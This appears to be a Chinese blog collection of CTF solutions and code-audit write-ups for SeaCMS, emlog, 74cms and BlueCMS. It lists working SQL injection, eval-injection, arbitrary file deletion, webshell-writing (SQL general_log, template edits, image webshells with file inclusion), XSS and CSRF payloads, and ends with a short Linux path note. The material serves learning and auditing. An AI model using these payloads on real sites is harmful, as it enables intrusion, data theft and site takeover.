现在理清一下思路,目前已知,命令执行的条件是我们传入的参数$content必须符合正则匹配内容,并且将第一个括号里的内容作为命令执行,我们这里可以先思考一下,传入什么内容进行getshell,就目前而已,传入$content带有{if:1)phpinfo();if(1}{end if},拼接到eval函数中为@eval("if(1)phpinfo();if(1) { \$ifFlag=true;} else{ \$ifFlag=false;}");,即可getshell
所以,我们接下来回到search.php文件的函数下echoSearchPage,跟踪$content变量即可,其实从上面的关键代码,我们就可以猜到,$content实际上就是一个网站模板,内容来自于/data/cache下面,然后再通过str_replace函数对模板内容进行替换,在echoSearchPage函数的开头,我们就发现变量$order = !empty($order)?$order:time;而该变量可以通过POST和GET的方式获取到,如果是GET,则又XSS过滤和转义处理,如果是POST,则只有转义处理。之后,通过语句$content = str_replace("{searchpage:ordername}",$order,$content);对模板中的{searchpage:ordername}进行了替换
以下取自模板文件中的代码
那么,如果我们传入参数order为上面的getshell内容即order={if:1)phpinfo();if(1}{end if},那么替换到模板中,即$content包含的内容{if:"{if:1)phpinfo();if(1}{end if}"=="time"},那么,传入parseIf函数,经过正则匹配的内容,就为$iar[0][m]={if:"{if:1)phpinfo();if(1}{end if},$iar[1][m]="{if:1)phpinfo();if(1,最后拼接到eval函数中为@eval("if({if:1)phpinfo();if(1) { \$ifFlag=true;} else{ \$ifFlag=false;}");,很明显会导致执行失败,因为原来的模板中还包含了个{if:
我们可以通过在源代码中加入测试语句即可发现:
所以我们还要想办法,闭合前面的{if:,最终payload如下:
1 | POST:searchtype=5&order=}{end if}{if:1)phpinfo();if(1}{end if} |
最终执行结果:
纠其漏洞根本,还是对用户输入参数未过滤完全,为什么这里选择参数$order,一开始我也有这个疑问,这里明明不止替换这一个模板参数,但是经过尝试其他参数如$area,$year等,发现都无法执行,这时我们来到文件开头部分
1 | $searchword = RemoveXSS(stripslashes($searchword)); |
可以发现,这些参数都经过RemoveXSS的过滤,而我们payload中的参数order,我们可以全局搜索一下,除了转义以外,未做任何过滤处理,所以最简单的修复该漏洞方法,我觉得应该就是添加上对参数order的RemoveXSS函数过滤
题目链接:http://47.103.43.235:81/quest/web/a/index.php
SQL注入题,没有过滤特殊字符,gid通过单引号包裹,采用联合查询注入
payload:?gid=0'%20union%20select%201,(select%20flag%20from%20flag),3,4%23
flag:flag{20_welcome_19}
题目链接:http://47.103.43.235:85/b/%E7%AC%AC%E4%B8%80%E9%A2%98_js%EF%BC%9F.txt
给了一串字符,经过base64解密后,得到一串jsfuck代码,经过网站https://www.bugku.com/tools/jsfuck/解密后得到flag
flag:flag{sdf465454dfgert32}
题目链接:http://47.103.43.235:82/web/a/index.php
题目意思是计算一串公式,但是每次刷新页面公式内容都会变化,所以要通过python的Session机制提交计算结果,脚本代码如下:
1 | import requests,re |
flag:flag{Y0U_4R3_3o_F4ST!}
题目链接:http://47.103.43.235:85/a/
源代码给出了提示:if ((string)$_POST['paraml']!==(string)$_POST['param2']&&md5($_POST['paraml'])===md5($_POST['param2']))
要提交两个md5值完全相等的参数,参考链接https://xz.aliyun.com/t/2232
通过链接中的fastcoll_v1.0.0.5.exe文件,使用命令fastcoll_v1.0.0.5.exe -p init.txt -o 1.txt 2.txt
生成1.txt和2.txt两个文件
再通过以下代码:
1 |
|
生成两个hash一样,但是实际内容不一样的字符串
将这两串字符分别提交,获得flag,payload:
1 | param1=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%8D%13%BE%8Fu%F7s%3B%60v%7E%BD%C46%B6%BA%CCyrer%F69%C84%2Az%92PB%97%ED%0D%09%AD%CD%DD%02%8C%A1%C7%CBG%D9%EF%F5%7C9%D5K%BAK%C6%C7N%3Be%93%F8P%5BH%27Qk%1Cr%80%9F-r%8D%0B%AC%D0aW%7F%13h+%7F%BCz%13%86F%AF%CB%1An%CB%EC%86%02%F0%0E%26%A6%D8%F6%D1%E3O%88%8C9w%C8%E4%C5f2%FA%ED%2B%02%E6%91%0E%CC%5C%9E%F4%EFzG%9B¶m2=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%8D%13%BE%8Fu%F7s%3B%60v%7E%BD%C46%B6%BA%CCyr%E5r%F69%C84%2Az%92PB%97%ED%0D%09%AD%CD%DD%02%8C%A1%C7%CBG%D9%EFu%7D9%D5K%BAK%C6%C7N%3Be%93%F8%D0%5BH%27Qk%1Cr%80%9F-r%8D%0B%AC%D0aW%7F%13h+%7F%BC%FA%13%86F%AF%CB%1An%CB%EC%86%02%F0%0E%26%A6%D8%F6%D1%E3O%88%8C9w%C8d%C5f2%FA%ED%2B%02%E6%91%0E%CC%5C%9Et%EFzG%9B |
flag:flag{MD5@_@success}
题目链接:http://47.103.43.235:83/web/a/index.php?id===QM
查询结果的id字段为1,而1的base64加密结果为MQ==,说明id参数的值经过base64解密后再反转再添加到SQL语句中,在py命令行中使用base64.b64encode('')[::-1]进行base64加密再反转效果
经过测试,这题对sleep,extractvalue,updatexml函数进行了检查,检查到再最前面添加1,所以无法使用报错和延时注入
另外过滤了or,select,union,空格,逗号,等号,绕过方法分别为:(1)双写or,select,union(2)用/**/代替空格(3)用select()a join select ()b代替逗号(4)用like,regexp代替等号
爆数据库payload:
1 | base64.b64encode('0/**/uunionnion/**/sselectelect/**/*/**/from/**/((sselectelect/**/database())a/**/join/**/(sselectelect/**/2)b/**/join/**/(sselectelect/**/3)c/**/join/**/(sselectelect/**/4)d/**/join/**/(sselectelect/**/5)e/**/join/**/(sselectelect/**/6)f)')[::-1] |
数据库名:ctf_sql
爆表名payload:
1 | base64.b64encode("0/**/uunionnion/**/sselectelect/**/*/**/from/**/((sselectelect/**/database())a/**/join/**/(sselectelect/**/2)b/**/join/**/(sselectelect/**/3)c/**/join/**/(sselectelect/**/4)d/**/join/**/(sselectelect/**/5)e/**/join/**/(sselectelect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database())f)")[::-1] |
表名:book,flag
爆列名payload:
1 | base64.b64encode("0/**/uunionnion/**/sselectelect/**/*/**/from/**/((sselectelect/**/database())a/**/join/**/(sselectelect/**/2)b/**/join/**/(sselectelect/**/3)c/**/join/**/(sselectelect/**/4)d/**/join/**/(sselectelect/**/5)e/**/join/**/(sselectelect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/0x666c6167)f)")[::-1] |
列名:flag
爆flag payload:
1 | base64.b64encode("0/**/uunionnion/**/sselectelect/**/*/**/from/**/((sselectelect/**/database())a/**/join/**/(sselectelect/**/2)b/**/join/**/(sselectelect/**/3)c/**/join/**/(sselectelect/**/4)d/**/join/**/(sselectelect/**/5)e/**/join/**/(sselectelect/**/flag/**/from/**/flag)f)")[::-1] |
flag:flag{s9li_1s_s0_e4sY}
海洋cms,之前就爆出的search.php存在命令执行漏洞,payload:
1 | http://47.103.43.235:84/search.php?searchtype=5&tid=&area=eval($_POST[1]) |
通过菜刀连接后,在根目录下找到flag.txt,获得flag
flag:flag{!!seacms_@@}
题目链接:http://47.103.43.235:82/web/b/index.php
源代码给出提示文件index.phps,访问后下载获得源代码:
1 |
|
sha1函数无法处理数组,通过传入两个数组即可绕过过滤,payload:name[]=1&password[]=2
flag:flag{Y0u_just_br0ke_sha1}
题目链接:http://47.103.43.235:82/crypto/a/index.php
页面给了一串看似base64加密后的字符串,经过一次base64解密发现末尾出现了$3D说明可能还存在URL编码,所以需要URL和base64循环解码,脚本代码如下:
1 | from base64 import b64decode |
得到s = fB__l621a4h4g_ai{&i},每五位凑成flag的一个字符,最后得到flag:flag{B64_&_2hai_14i}
题目给出字符串和提示flag格式,观察字符串和flag的ascii编码,发现从4开始逐位在原来基础上+1
1 | s = "bg[`sZ*Zg'dPfP`VM_SXVd" |
结果得到4,5,6,7,验证了想法
据此对密文进行还原:
1 | s = "bg[`sZ*Zg'dPfP`VM_SXVd" |
得到flag:flag{c4es4r_variation}
RSA 摸熟 n 过小,导致可被分解的问题,先用 openssl 提取公钥中的 e 和 n
1 | openssl rsa -pubin -text -modulus -in warmup -in gy.key |
在 factordb.com 分解 n 得到素因子 p 和 q, 解得私钥 d,再解得明文 m
1 | from Crypto.Util.number import * |
题目链接:https://47.103.43.235:85/d/奇怪的单点音.wav

在空缺处补0,再进行md5解密得到flag:flag{hsd132456}
题目链接:http://47.103.43.235:82/web/c/
题目给了一个二维码,保存图片后foremost,得到一个压缩包,提示说是管理员QQ号,直接爆破出号码:674290437
获得flag:flag{d6@YX$_m^aa0}
分析网站根目录下/index.php包含的头文件/init.php,可以发现,其中对GET,POST等进行处理的只有第二十一行的函数doStripslashes(),跟踪该函数,发现该函数作用居然还是去除转义字符,所以可以说,全局对GET,POST数据实际上是毫无过滤的。所以接下来,我们可以在Seay审计系统下进行全局搜索GET和POST的数据,如果没有其他过滤,那么是非常好利用的。
/admin/comment.php第46行语句$ip = isset($_GET['ip']) ? $_GET['ip'] : '';未对参数$_GET['ip']进行过滤,在47行中将变量$ip传入函数delCommentByIp(),跟踪该函数,在/include/model/comment_model.php中第152行中将该参数拼接到SQL语句,经由单引号包裹
经过全局分析我们知道实际上$_GET['ip']参数是没有任何过滤的,所以我们可以很轻松的进行SQL注入,这里采用的是报错注入
payload如下:
1 | GET /emlog/admin/comment.php?action=delbyip&ip=127.0.0.1'%20and%20extractvalue(1,concat(0x3a,database(),0x3a))%23&token=2559f394de1177aaf9652f6ea371566d HTTP/1.1 |
注意这里因为有检查Token机制,所以我们必须在页面上进行抓包
同样在/admin/tag.php第44行语句$tags = isset($_POST['tag']) ? $_POST['tag'] : '';未对变量$_POST['tag']进行过滤,在53行中将变量$tags的键值传入函数deleteTag(),跟踪函数,在/include/model/tag_model.php中将该变量拼接到DELETE语句中
因为是DELETE语句,所以这里采用延时注入,同时需要注意因为我们不能保证$tagId一定存在于表中,而且即便存在,执行完一次也会被删除,所以这里采用or连接,保证后面的延时注入语句能执行,payload如下:
1 | POST /emlog/admin/tag.php?action=dell_all_tag HTTP/1.1 |
之后就是写脚本注入,但是这里同样采用了验证TOKEN机制,而且我们必须登录后台才能进行该项操作,所以需要采用python的Session机制进行登录并抓取页面TOKEN值,代码如下:
1 | import requests |
/admin/navbar.php第78行$pages = isset($_POST['pages']) ? $_POST['pages'] : array();存在未过滤变量$pages,在85行将变量$pages的键值作为变量$id传入函数addNavi()中,跟踪该函数,在/include/model/navi_model.php中将该变量拼接到INSERT语句中
INSERT注入我们采用的是select case when 条件 then sleep(3) else 1 end的延时注入,payload如下:
1 | POST /emlog/admin/navbar.php?action=add_page HTTP/1.1 |
脚本参考上面,这里略
/admin/data.php第143-144行存在未过滤变量$_POST['bak']拼接到unlink中,导致任意路径穿越删除文件漏洞
payload:
1 | POST /emlog/admin/data.php?action=dell_all_bak HTTP/1.1 |
/admin/blogger.php第92行存在危险函数unlink,跟踪变量$icon_1,该变量来自80行中的sql查询字段photo返回结果,跟踪语句31行中变量$photo通过POST传入,有转义处理,并在72行中将photo更新到数据库中,虽然有转义处理,依旧可以造成任意路径穿越删除文件
实现的过程如下:先通过POST将构造的任意路径变量$photo更新到数据库中($action=update),再通过$action=delicon触发unlink($icon_1),进行任意文件删除
payload如下:
1 | POST /emlog/admin/blogger.php?action=update HTTP/1.1 |
对于在/emlog/init.php 中的变量 $action,当我们通过GET方式传入$action[]数组的形式,会出现语法错误报错导致的网站路径泄露,可以考虑结合sql注入写入webshell
在/admin/data.php中发现了可以进行本地数据库备份,并可以上传数据库备份文件
那么就可以考虑加入语句
SELECT "<?php phpinfo(); ?>" INTO outfile "E:\php\PHPTutorial\WWW\emlog\shell.php";如果网站数据库的配置secure_file_priv为空,那么我们就可以直接在网站根目录下写入webshell
我们先随意备份一个数据库文件,然后加入上述语句,上传
结果出现了报错信息The MySQL server is running with the --secure-file-priv option so it cannot execute this statement说明数据库配置secure_file_priv为null,并且我们无法通过SQL语句改变该配置值,在数据库中验证show global variables like '%secure%';
所以我们考虑另一种方法,通过设置SQL日志的方式,首先需要保证general_log=on,再修改general_log_file的日志写入文件绝对路径
在数据库文件中加入语句:
1 | SET GLOBAL general_log = 'on'; |
然后上传
可以看出显示了上传成功
然后我们可以看到在网站的根目录下出现了shell.php即我们上传的webshell,它实际上是一个日志文件,只不过我们加入了可执行的Php代码
访问
/admin/plugin.php页面可以上传一个zip压缩包,并在后台将压缩包解压成文件
跟踪emUnZip()函数,在/include/lib/function.base.php下:
图中有我自己添加的测试代码,用来测试ZipArchive类的getNameIndex和getFromName函数的输出值
我们试着上传一个test.zip,压缩包中包含demo文件夹,demo文件夹下包含demo.php文件
可以看出这里getNameIndex()函数返回结果是压缩包下的文件夹名即demo/,在768行中$dir . $plugin_name . '.php'拼接的结果是demo/demo.php即压缩包下的目录内容,从响应包结果来看是上传成功的
所以猜出getFromName函数应该是判断压缩包下的文件目录如果与传入的参数一致,则返回true,所以可以看出我们上传的文件夹名必须和文件名是相同的,后面即可解压压缩包,上传webshell
如果我们上传的压缩包只包含一个php文件,可以看一下测试的响应结果:
那么$dir . $plugin_name . '.php'拼接的结果是demo.php/demo.php.php,从响应结果Location: ./plugin.php?error_e=1来看很明显是上传失败,返回-1,说明是$re == false导致的,即getFromName函数判断压缩包不存在该目录
/admin/write_log.php添加文章存在html代码形式,尝试直接添加<script>alert('xss')</script>
添加后访问网站首页出现弹框
抓包分析
跟踪到/admin/save_log.php文件
$content变量只有经过转义处理,还是过滤不当引起的xss
该CMS较小,代码简洁易懂,大部分的漏洞,由于全局不存在输入过滤,所以通过全局搜索POST,GET数据发现的,还是那句话,输入过滤不够,导致的漏洞
]]>先进入根目录的index.php,跟进包含的头文件/include/common.inc.php,该文件又包含了三个文件,其中/data/config.php和/include/74cms_version.php为网站配置和版本文件,无需关心。/include/common.fun.php为函数文件。继续往下审计,发现21-30行对输入数据进行了过滤
1 | if (!empty($_GET)) |
在/include/common.fun.php跟踪addslashes_deep函数
过滤总结起来就是对$_GET $_POST $_COOKIE $_REQUEST数据都进行单引号双引号的转义,以及过滤标签的处理
GET,POST,COOKIE都有过滤,那么IP字段有没有过滤呢,按照之前审计都有一个getip()函数来获取头部的IP字段,果然在101行发现该函数
但是这里进行了正则匹配过滤出格式合法的IP值,所以我们无法利用IP字段
也就是说,在后面的审计过程中,只要发现文件包含了/include/common.inc.php,那么就无法通过注入标签进行XSS攻击,以及限制了SQL注入,但是,我们注意配置文件/include/mysql.class.php中的第29行设置了数据库的编码方式为GBK,所以在有单引号或双引号包裹的情况下是可以考虑进行宽字节注入的
类似于前台,/admin/后台的文件头部也包含了/admin/include/admin_common.inc.php,过滤如下:
1 | if(!get_magic_quotes_gpc()) |
跟进admin_addslashes_deep函数
1 | function admin_addslashes_deep($value) |
可以发现后台对于客户端提交的数据只有转义的处理,是不会过滤掉标签的
/admin/admin_article.php第151-152行中存在可利用变量$_GET['img']导致任意文件删除漏洞
在全局分析中,我们知道,后台对$_GET只有转义的处理,所以我们构造路径穿越进行删除文件
payload:?act=del_img&img=../../info.php
/user/user_personal.php第947-951行存在可利用变量$setsqlarr导致SQL注入
我们可以注意到这里的数组变量$setsqlarr中的各个属性变量都只有转义的处理就拼接到SQL语句中,这是一个用户基本信息保存的功能代码,当查询不到$SESSION['uid']即未保存过信息时,会使用INSERT语句。反之则使用UPDATE语句,然后将保存的个人信息渲染到html页面中,跟踪一下updatetable()函数
了解语句后,我们先保存一个个人信息
之后再进行修改操作,payload如下:
1 | POST /74cms/user/user_personal.php?act=userprofile_save HTTP/1.1 |
拼接后的sql语句为:
1 | UPDATE 74cms_members_info SET `realname`='123', `sex`='男', `birthday`='111111', `addresses`='12312332', `mobile`='18912345678', `phone`='254221', `qq`='12345', `msn`='123�\\\',`profile`=database() where uid=1#', `profile`='123' WHERE uid='1'` |
执行后profile字段显示的值就是数据库名
另外/user/user_company_points.php第861行同样存在可利用变量$setsqlarr,导致SQL注入
payload:
1 | POST /74cms/user/user_company_points.php?act=company_profile_save HTTP/1.1 |
该cms存在多处$setsqlarr都可以利用,不止以上两个,不一一列举
/admin/admin_templates.php第125行fwrite()函数中存在可利用变量$handle和$tpl_content,导致任意文件写入漏洞
在全局分析中,我们已经知道后台对我们提交的数据只有转义处理,所以我们可以很容易的写入一个webshell,payload:
1 | POST /74cms/admin/admin_templates.php?act=do_edit HTTP/1.1 |
执行完成后在网站根目录下写入一个webshell
/link/add_link.php第36行存在可利用变量$_POST['link_logo']在/admin/admin_link.php中将该变量渲染到/admin/templates/default/link/admin_link.htm的<span style="color:#FF6600" title="<img src= border=0/>" class="vtip">[logo]</span>中,存在存储型XSS漏洞
/link/add_link.php对添加的链接信息数组$setsqlarr有转义加去标签的处理
然后/admin/admin_link.php中get_links()函数将添加的链接信息从数据库中取出渲染到前台页面中
我们跟进link/admin_link.htm
在第58行中<span style="color:#FF6600" title="<img src= border=0/>" class="vtip">[logo]</span>我们可以看到前台将link_logo这以变量值作为img标签的读取源,虽然有去标签的处理,但是这里我们不需要加入标签,利用onerror事件也可以进行XSS攻击
payload:
1 | POST /74cms/link/add_link.php?act=save HTTP/1.1 |
执行成功后,在页面每次将鼠标移动至[logo]处都会弹框
/admin/admin_users.php第42-68行由于未加入token验证,可以造成CSRF漏洞任意添加管理员账号
攻击过程:构造一个虚假404页面诱导管理员点击,页面代码如下:
1 |
|
页面利用ajax技术在后台将注册信息提交到admin/admin_users.php
另外在74cms 3.6版本中添加了token机制认证,我们知道token认证机制是取出当前页面提交的token与存放在Session中的token值进行比较,相同则通过验证,每当我们刷新一次页面,token值就会发生变化。但是我们仍然可以进行CSRF攻击,办法就是利用iframe框架访问token值的页面,再利用js代码获取token值与信息一起提交即可,附上3.6版本csrf攻击的代码:
1 |
|
该cms很多漏洞的利用点都在于未对SQL数组变量$setsqlarr进行过滤以及对后台输入只有转义处理,存在诸多输入过滤不足的情况
笔者属于新手,刚接触审计不久,刚拿到一个完全陌生的cms,一开始完全不知道如何下手,所以我通过不断阅读别人的审计文章,重点观察别人的审计思路,一开始看别人的审计文章其实不应该关注这个cms到底有什么漏洞,因为那都是别人已经审计好了的,你应该重点关注别人到底是怎么挖到这个洞的,这样你才能锻炼独立审计的能力,这篇文章我也会把我审计的全过程思路分享出来。
首先拿到这个bluecms,安装完成后,我首先观察整个cms的文件结构
其实每个文件夹的功能从名字就大概能猜出,比如/admin肯定是后台管理员才能访问进行管理的;/include肯定是用来包含的全局文件,例如一些函数定义的文件,一些数据库配置,过滤文件等等;/templates肯定是一些模板文件,看到这个文件夹就能猜到这里面放着的都是一些html模板,用来通过后台进行渲染的。当然这都是初步的大致浏览,具体还要等到后面访问页面才知道。
下面,浏览了网页结构,就开始审计具体文件了,那么问题来了,审计哪个呢,这么多文件。这里我的思路还是首先访问根目录下的index.php文件,因为它是整个网站的首页。
先来看看首页的代码:
好多,将近300行,肯定不可能一行行的看,这里我首先还是先看主页面的开头包含了什么文件
1 | require_once('include/common.inc.php'); |
前面说到/include文件夹,果然就包含了里面的文件,这些文件往往对我们审计过程都非常重要,一定要重视
先来看看include/common.inc.php
1 | #30-36行 |
我们马上就发现了在30-36行处,对全局数组POST,GET,COOKIES,REQUEST都进行了转义处理,所以只要通过这些方式输入的数据中存在单引号,双引号都会被转义。这就是为什么强调开头这些包含文件的重要性,如果我们没看到,就忽略了这些过滤,后面例如sql注入的注入点被单引号包裹,我们不知道有过滤还以为可以进行注入
另外在24-28行处还包含了一些函数文件
1 | require_once (BLUE_ROOT.'include/common.fun.php'); |
后面遇到看不懂的函数,可以通过跟踪函数名在这些文件中搜索
就这样大致浏览一下这些文件的开头部分,后面其实大多都是功能部分,我们有的其实都不用去关注,毕竟我们本来就不可能每行都去看一遍
笔者一开始审计,也是很盲目,看了半天代码,还是看不出哪儿存在漏洞,主要一个原因还是代码太多了。所以感觉挖掘漏洞,还是要有方法,有明确思路,这样才能有效快速。在我浏览别人的审计文章时,看到了一句话:“有输入的地方就可能存在漏洞”。这句话讲的很有道理,这么多的web漏洞,本质上都是存在用户的输入才导致的,所以,我一开始就是关注每个文件哪里存在用户的输入。
从根目录开始,按顺序我们先来看看ad_js.php文件
1 | $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : ''; |
文件很短,我们可以一口气将它看完,开头就有我们可以通过GET方式进行控制的变量,继续看下去,我们马上就看到了一个sql查询语句
1 | $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id); |
在前面我们说过,在common.inc.php文件中对我们的输入方式进行转义的过滤,我们注意到这个文件开头就包含了它,说明这里对$ad_id变量是存在转义处理的,但是这里的sql语句中$ad_id是没有单引号包裹的,所以我们根本不需要去关注过滤,很明显这里就存在了sql注入漏洞,具体利用后面在一起说
接下来是ann.php文件,这个文件就有点长,但是我们无需关心,只看开头有没有可以利用的变量
1 | $ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : ''; |
可以看到,这里虽然输入变量,但是经过了intval函数的过滤处理,所以我们无法利用,这个文件我们就先pass掉,就这个道理继续往下看
来到user.php文件,存在可利用的变量$from和$act:
1 | $act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'default'; |
这个文件也很长,我们直接搜索关键字跟踪变量$from,发现大多数做为参数传入了showmsg函数,例如112行
1 | showmsg('欢迎您 '.$user_name.' 回来,现在将转到...', $from); |
我们可以大致猜到这个函数是用来进行页面跳转的,具体我们可以跟踪这个函数,这里我在seay审计系统中进行内容全局搜索function showmsg,查询结果在/include/common.fun.php文件中对这个函数进行了定义,审计该文件中的这个函数:
1 | function showmsg($msg,$gourl='goback', $is_write = false) |
这里面又利用了两个函数assign和display,同样继续跟踪这两个函数
1 | function assign($tpl_var, $value = null) |
assign函数作用是将第二个参数作为键值,第一个参数作为键名。至于display函数,跟踪fetch函数有点长,这里我没有很详细的去看(其实是看不太懂…),只知道大致功能就是跳转页面。然后整个showmsg功能就是将assign中的数据渲染到display中的html页面。而这里传入参数$from,我们就可以猜测,可以通过该参数进行任意页面跳转的作用
依次类推,通过这个方法,相信只要耐心足够,一定很容易可以挖到一些漏洞
第一种方法只是粗略的审计,一定还会有我们疏忽的漏洞,所以第二种方法,我用了审计工具来帮助我们进行审计,这里使用Seay审计系统,个人觉得还是不错的一款工具,还能进行关键字全局搜索。当然工具只是帮你分析可能存在的漏洞,并不是决定,具体我们还得一个个去耐心分析
可以看到,工具审计非常多可能存在的漏洞,但我还是按照第一种方法的思想,找存在输入的点,这样能更高效的寻找漏洞
例如上图,我们发现了变量$ip是通过头部的IP字段获取的,在这个字段我们是不用去关心转义过滤的,是个非常好利用的变量,所以我们赶紧跟踪/include/common.fun.php这个文件
1 | function getip() |
我们可以发现这个关键函数getip,它返回的变量$ip我们是可以利用的,继续搜索这个函数getip,看看哪里可以利用到
发现/comment.php文件中存在通过该函数拼接而成的sql语句,猜测就可能存在sql注入漏洞,跟踪该文件
1 | $sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) |
在113-114行找到了拼接的sql语句,我们可以通过伪造头部X-Forwarded-For字段来进行sql注入
依次类推,通过工具帮助我们审计,也能挖掘到更多漏洞
第三种方法,我们还可以搜索一些导致漏洞的危险函数,例如unlink,include,move_uploaded_file函数等,这里搜索unlink函数为例
搜索结果显示出非常多unlink函数中存在我们可以输入进行控制的变量,例如/user.php下的616行:
1 | if (file_exists(BLUE_ROOT.$_POST['lit_pic'])) { |
就存在可以利用的变量$_POST['lit_pic'],我们跟踪该变量,发现除了开头包含文件的转义处理以外,无其他过滤地方,很明显我们就可以利用该变量进行网站根目录下任意文件删除的操作
一开始审计,难免会有很多漏洞自己忽略掉没审计到,这时候我们就需要多去参考别人审计该cms的文章,寻找出自己未审计出的漏洞,并总结自己为什么没有找出该漏洞,这样就为下次审计积累更多的经验
/ad_js.php第19行通过变量$ad_id拼接的sql语句由于变量$ad_id未进行过滤并且无引号包裹,存在SQL注入漏洞
1 | $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : ''; |
有回馈信息,所以我们直接用union注入
首先通过order by测试查询字段数为7,然后通过测试得知回显字段在第6位
注数据库payload:
1 | ?ad_id=0%20union%20select%200,0,0,0,0,database(),0 |
注表名payload:
1 | /ad_js.php?ad_id=0%20union%20select%200,0,0,0,0,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),0 |
注blue_ad表下的列名payload:
1 | ?ad_id=0%20union%20select%200,0,0,0,0,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x626c75655f6164),0 |
注意将blue_ad转化为十六进制
/include/common.fun.php下getip()函数返回存在通过头部IP字段获取的变量,跟踪该函数发现comment.php下第113行可利用getip()获取的可控变量进行sql注入
1 | $sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) |
这是一个添加评论功能的页面,功能整体代码如下:
1 | elseif($act == 'send') |
要执行SQL语句所需要控制的变量为$_GET['act'] == 'send',$_POST['content'] != '',
然后分析SQL语句,这是一个INSERT INTO语句,注入的方式有挺多种,这里我采用的是通过select case when then else语句进行延时注入的方法,payload如下:
1 | POST /comment.php?act=send HTTP/1.1 |
拼接后的sql语句为:
1 | INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '1', '3', '1', '1', '1', '1', '1'+(select case when(ascii(substr(database(),1,1))=98) then sleep(1) else 1 end),'1')#, '1') |
之后就是写脚本注入了
同样的漏洞存在于/include/common.inc.php第四十五行存在通过getip()函数获得的变量$online_ip,跟踪该变量发现/guest_book.php第77-78行同样存在SQL注入漏洞
1 | $sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')"; |
1 | elseif ($act == 'send') |
构造payload如下:
1 | POST /guest_book.php?act=send HTTP/1.1 |
/user.php文件第112行通过控制变量$from可进行任意文件跳转
1 | $from = !empty($from) ? base64_decode($from) : 'user.php'; |
前面我们已经分析了showmsg函数的作用是页面跳转,同时注意这里$from有经过base64解密,我们通过登录用户,抓取登录包,其实就可以发现$from变量,我们假设跳转到根目录下的robots.txt文件,将robots.txt进行base64编码
payload如下:
1 | POST /user.php HTTP/1.1 |
登录成功后跳转到robots.txt页面
/user.php第616行存在未过滤变量$_POST['lit_pic'],导致任意文件删除漏洞
1 | if (file_exists(BLUE_ROOT.$_POST['lit_pic'])) { |
payload:
1 | POST /user.php?act=do_info_edit HTTP/1.1 |
同样/admin/flash.php第62-63行存在未过滤变量$_POST['image_path2'],导致任意文件删除漏洞
1 | if(file_exists(BLUE_ROOT.$_POST['image_path2'])){ |
payload:
1 | POST /admin/flash.php?act=do_edit HTTP/1.1 |
/admin/card.php第57行存在可利用的变量$name导致的反射型xss漏洞
1 | $name=!empty($_POST['name']) ? trim($_POST['name']) : ''; |
payload:
1 | POST /admin/card.php HTTP/1.1 |
弹框后跳转至card.php
这个漏洞挺难发现的,我也是看别人的文章才学习到的,我们在审计时应该有注意在/user.php中的注册功能下有一个函数uc_user_register,跟踪该函数:
1 | function uc_user_register($username, $password, $email, $questionid = '', $answer = '') { |
我们应该都会很奇怪这个UD_API_FUNC到底是什么鬼,查询一下其实就是一个引擎检查用户输入是否合法返回对应的uid,具体我们没必要深究下去,总之他是一个检查机制
而回到/user.php的编辑个人资料功能的代码下,我们惊奇的发现这个功能里,我们输入修改的资料信息后,直接将信息更新到了数据库中,并没有通过上面那个引擎对我们的输入进行合法性检查,所以我们就可以利用这个功能,进行存储型的XSS攻击
payload:
1 | POST /user.php HTTP/1.1 |
编辑成功后跳转回用户信息界面,每次访问都会触发弹框,因为我们编辑用户邮箱为<script>alert(/xss/)</script>
这个漏洞也是通过审计工具才知道的,在/user.php第750行:
1 | elseif ($act == 'pay'){ |
变量$_POST['pay']拼接到include函数中,且只有开头包含文件的转义过滤处理,我们可以使用0x00或文件长度截断方式进行过滤,本次审计的环境是PHP5.2.17,如果环境为5.4以上那么上述两种方法无效,不存在任意文件包含漏洞,但是为了更好理解漏洞,我还是将环境设为5.3以下
包含根目录下robots.txt的payload如下:
1 | POST /user.php?act=pay HTTP/1.1 |
这里我使用了字符.来进行文件长度截断
有了文件包含漏洞,我们接着就可以考虑是不是上传图片马,这样就能成功执行shell,所以接下来我们找一个可以上传文件的页面:/admin/flash.php
1 | elseif($act == 'do_add'){ |
我们跟踪一下img_upload函数,定位到/include/upload.class.php
1 | private $allow_image_type = array('image/jpeg', 'image/gif', 'image/png', 'image/pjpeg'); |
该文件对上传文件进行文件类型和文件名的白名单检测,但是没有对文件内容进行检查,所以我们能轻易上传一个图片马
payload为:
1 | POST /admin/flash.php HTTP/1.1 |
上传成功后我们可以通过管理员界面得知上传文件所在目录为data/upload/flash/15525638906.jpg
我们再通过文件包含漏洞执行该图片马
payload:
1 | POST /user.php?act=pay HTTP/1.1 |
成功执行webshell
总的来说,这次代码审计虽然花的时间比较久,但是收获了审计的思路,从一开始看到一个陌生的cms不知从何下手到慢慢有思路,有方法的审计,这个过程还是挺开心的,相信只要花时间有耐心,一定能提高自己的审计能力,最后附上参考文章:
]]>绝对路径:路径写法一定由根目录/写起,例如:/usr/share/doc这个目录
相对路径:路径写法不是由根目录写起,指相对于当前工作目录的路径,例如:cd ../usr
1 | cd [相对路径或绝对路径] |
1 | root@ubuntu:/var/www# pwd |
